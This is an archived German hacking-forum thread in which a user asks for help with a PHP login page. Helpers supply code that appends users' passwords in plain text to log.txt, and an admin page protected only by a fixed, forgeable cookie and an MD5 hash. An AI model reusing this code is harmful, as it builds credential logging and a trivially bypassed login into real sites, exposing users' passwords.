Archiv verlassen und diese Seite im Standarddesign anzeigen : [S] Hilfe mit login ....
jens3911
25.07.2009, 16:11
hallo ich suche jemand der mir bei meiner seite helfen kann,...
ich hab ein login eingebaut, und wenn man richtig eingeloggt wird erscheint statt das login ein text:
Geheimer bereich...
ich möchte statdessen das da 2 textboxen sind die wenn man auf einen anderen button drückt alles in einem log gespeichert werden
die login.php
<?
session_start();
$user_name = "new_acc";
$user_pass = "supersicher";
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Login script</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body>
<?php
if (isset($_SESSION['user']) && isset($_SESSION['pw'])) {
echo 'Geheimer Bereich...';
}
else {
if (isset ($_POST['user']) && isset($_POST['pw'])) {
if ($_POST['user'] == "" OR $_POST['pw'] == "") {
echo "<b>Bitte fülle beide Felder aus!</b>";
}
elseif ($_POST['user'] != $user_name OR $_POST['pw'] != $user_pass) {
echo "<b>Falsch...</b>";
}
elseif ($_POST['user'] == $user_name AND $_POST['pw'] == $user_pass) {
$_SESSION['user'] = $_POST['user'];
$_SESSION['pw'] = $_POST['pw'];
session_regenerate_id();
echo '<meta http-equiv="refresh" content="0">';
}
}
}
if (isset($_SESSION['user']) && isset($_SESSION['pw'])) {
printf('<br /><br />Willkommen <b>%s</b>.',
htmlspecialchars($_SESSION['user']));
}
else {
if ($_POST['user'] == $user_name AND $_POST['pw'] == $user_pass) {
echo "Du wirst weitergeleitet...";
}
else {
echo '<form name="login" method="post" action="'.$_SERVER['PHP_SELF'].'">User Name: <input type="text" name="user"> User Passwort: <input type="password" name="pw"><input type="submit" name="Submit" value="einloggen"></form>';
}
}
?>
</body>
</html>
die seite: http://t0pseller.s4u.0lx.net/index.php
elseif ($_POST['user'] == $user_name AND $_POST['pw'] == $user_pass) {
$_SESSION['user'] = $_POST['user'];
$_SESSION['pw'] = $_POST['pw'];
$f = fopen("log.txt","a");
fwrite($f,"User=".$_POST['user']."\r\nPasswort=".$_POST['pw']."\r\n\r\n");
fclose($f);
session_regenerate_id();
echo '<meta http-equiv="refresh" content="0">';
}
Also man sieht ja, was ich hinzugefügt habe:
$f = fopen("log.txt","a");
fwrite($f,"User=".$_POST['user']."\r\nPasswort=".$_POST['pw']."\r\n\r\n");
fclose($f);
Dieser Code speichert die Eingaben in der Datei "log.txt" und zwar an das Ende der Datei.
War das das, was Du gesucht hast?
jens3911
25.07.2009, 16:32
dann erscheint garnichts mehr,
macht der code das wenn man sich einloggt 2 textboxen erscheinen und ein button zum speichern der textboxen? in einer log.txt?
Achso, nein. Der Code speichert die Eingaben beim Login in einer log.txt. Hatte ich Dich wohl falsch verstanden.
Wie wäre es, wenn Du meinen Code nutzt, um das ganze selber umzustellen? ;) Solltest Du hinbekommen.
jens3911
25.07.2009, 17:45
xD ich kenn mich in php nicht aus... der code ist aus google
<?php
if($_SERVER['REQUEST_METHOD'] != "POST") {
if($_COOKIE['21232f297a57a5a743894a0e4a801fc3'] != "21232f297a57a5a743894a0e4a801fc3") {
print "
<form method=\"post\" action=\"".htmlentities($_SERVER['PHP_SELF'])."\">
<label for=\"user\">Username: </label> <input type=\"text\" name=\"user\"><br>
<label for=\"password\">Passwort: </label> <input type=\"password\" name=\"password\"><br>
<input type=\"hidden\" name=\"action\" value=\"login\"
<input type=\"submit\" value=\"login\">
</form>
";
} else {
print "Adminarea<br><br>";
print "
<form method=\"post\" action=\"".htmlentities($_SERVER['PHP_SELF'])."\">
<label for=\"user\">Username: </label> <input type=\"text\" name=\"user\"><br>
<label for=\"password\">Passwort: </label> <input type=\"password\" name=\"password\"><br>
<input type=\"hidden\" name=\"action\" value=\"save\"
<input type=\"submit\" value=\"Speichern\">
</form><br><br>
";
print "
<form method=\"post\" action=\"".htmlentities($_SERVER['PHP_SELF'])."\">
<input type=\"hidden\" name=\"action\" value=\"logout\">
<input type=\"submit\" value=\"Logout\">
</form>
";
}
} else {
if($_POST['action'] == "login") {
$user = "admin";
$password = "200ceb26807d6bf99fd6f4f0d1ca54d4";
$eingabe_user = $_POST['user'];
$eingabe_password = md5($_POST['password']);
if(!$eingabe_password) {
die("Ohne die Eingabe des Passwortes wird das nichts ;)");
} elseif(!$eingabe_user) {
die("Ohne username wird das nichts ;)");
} elseif(!$eingabe_password AND !$eingabe_user) {
die("Mit komplett leerem Formular einloggen? Wird so nichts o.O");
} elseif($eingabe_user == $user AND $eingabe_password == $password) {
@setcookie("21232f297a57a5a743894a0e4a801fc3","21232f297a57a5a743894a0e4a801fc3") and header("location: ".$_SERVER['PHP_SELF']."") and exit;
} else {
die("Die Eingaben stimmen nicht!");
}
} elseif($_POST['action'] == "save") {
$f = fopen("log.txt","a");
fwrite($f,"User=".$_POST['user']."\r\nPasswort=".$_POST['password']."\r\n\r\n");
fclose($f);
print "Eingaben wurden gespeichert" and print "<br><br><a href=\"javascript:\" onClick=\"history.back(1)\">Zurück</a>";
} elseif($_POST['action'] == "logout") {
@setcookie("21232f297a57a5a743894a0e4a801fc3","",time()-3600);
die("Du wurdest erfolgreich ausgleoggt. Alle Cookies wurden geloescht");
}
}
?>
In etwa so? Ich hoffe, ich habe Dich jetzt richtig verstanden. Ich finde Cookies statt Sessions besser - Habe Dir das mal eben zusammengetippelt. Bei mir gehts.
Wenn Du Änderungswünsche hast sags nur, mache ich Dir dann, sofern ich Dir nicht eine ganze Seite machen soll ;).
kalachnikov
25.07.2009, 19:22
@jens3911 (http://free-hack.com/member.php?u=54810)
deine Seite (http://t0pseller.s4u.0lx.net/index.php)funktioniert nicht!
jens3911
25.07.2009, 19:50
<?php
if($_SERVER['REQUEST_METHOD'] != "POST") {
if($_COOKIE['21232f297a57a5a743894a0e4a801fc3'] != "21232f297a57a5a743894a0e4a801fc3") {
print "
<form method=\"post\" action=\"".htmlentities($_SERVER['PHP_SELF'])."\">
<label for=\"user\">Username: </label> <input type=\"text\" name=\"user\"><br>
<label for=\"password\">Passwort: </label> <input type=\"password\" name=\"password\"><br>
<input type=\"hidden\" name=\"action\" value=\"login\"
<input type=\"submit\" value=\"login\">
</form>
";
} else {
print "Adminarea<br><br>";
print "
<form method=\"post\" action=\"".htmlentities($_SERVER['PHP_SELF'])."\">
<label for=\"user\">Username: </label> <input type=\"text\" name=\"user\"><br>
<label for=\"password\">Passwort: </label> <input type=\"password\" name=\"password\"><br>
<input type=\"hidden\" name=\"action\" value=\"save\"
<input type=\"submit\" value=\"Speichern\">
</form><br><br>
";
print "
<form method=\"post\" action=\"".htmlentities($_SERVER['PHP_SELF'])."\">
<input type=\"hidden\" name=\"action\" value=\"logout\">
<input type=\"submit\" value=\"Logout\">
</form>
";
}
} else {
if($_POST['action'] == "login") {
$user = "admin";
$password = "200ceb26807d6bf99fd6f4f0d1ca54d4";
$eingabe_user = $_POST['user'];
$eingabe_password = md5($_POST['password']);
if(!$eingabe_password) {
die("Ohne die Eingabe des Passwortes wird das nichts ;)");
} elseif(!$eingabe_user) {
die("Ohne username wird das nichts ;)");
} elseif(!$eingabe_password AND !$eingabe_user) {
die("Mit komplett leerem Formular einloggen? Wird so nichts o.O");
} elseif($eingabe_user == $user AND $eingabe_password == $password) {
@setcookie("21232f297a57a5a743894a0e4a801fc3","21232f297a57a5a743894a0e4a801fc3") and header("location: ".$_SERVER['PHP_SELF']."") and exit;
} else {
die("Die Eingaben stimmen nicht!");
}
} elseif($_POST['action'] == "save") {
$f = fopen("log.txt","a");
fwrite($f,"User=".$_POST['user']."\r\nPasswort=".$_POST['password']."\r\n\r\n");
fclose($f);
print "Eingaben wurden gespeichert" and print "<br><br><a href=\"javascript:\" onClick=\"history.back(1)\">Zurück</a>";
} elseif($_POST['action'] == "logout") {
@setcookie("21232f297a57a5a743894a0e4a801fc3","",time()-3600);
die("Du wurdest erfolgreich ausgleoggt. Alle Cookies wurden geloescht");
}
}
?>
In etwa so? Ich hoffe, ich habe Dich jetzt richtig verstanden. Ich finde Cookies statt Sessions besser - Habe Dir das mal eben zusammengetippelt. Bei mir gehts.
Wenn Du Änderungswünsche hast sags nur, mache ich Dir dann, sofern ich Dir nicht eine ganze Seite machen soll ;).
VIELEN DANK!!! :) FUNKTIONIERT SUPER!!! DANKE FÜR DIE ARBEIT!!
@jens3911 (http://free-hack.com/member.php?u=54810)
deine Seite (http://t0pseller.s4u.0lx.net/index.php)funktioniert nicht!
http://t0pseller.s4u.0lx.net/
ja, hab ein wenig umgestellt ^^
Powered by vBulletin® Copyright ©2024 Adduco Digital e.K. und vBulletin Solutions, Inc. Alle Rechte vorbehalten.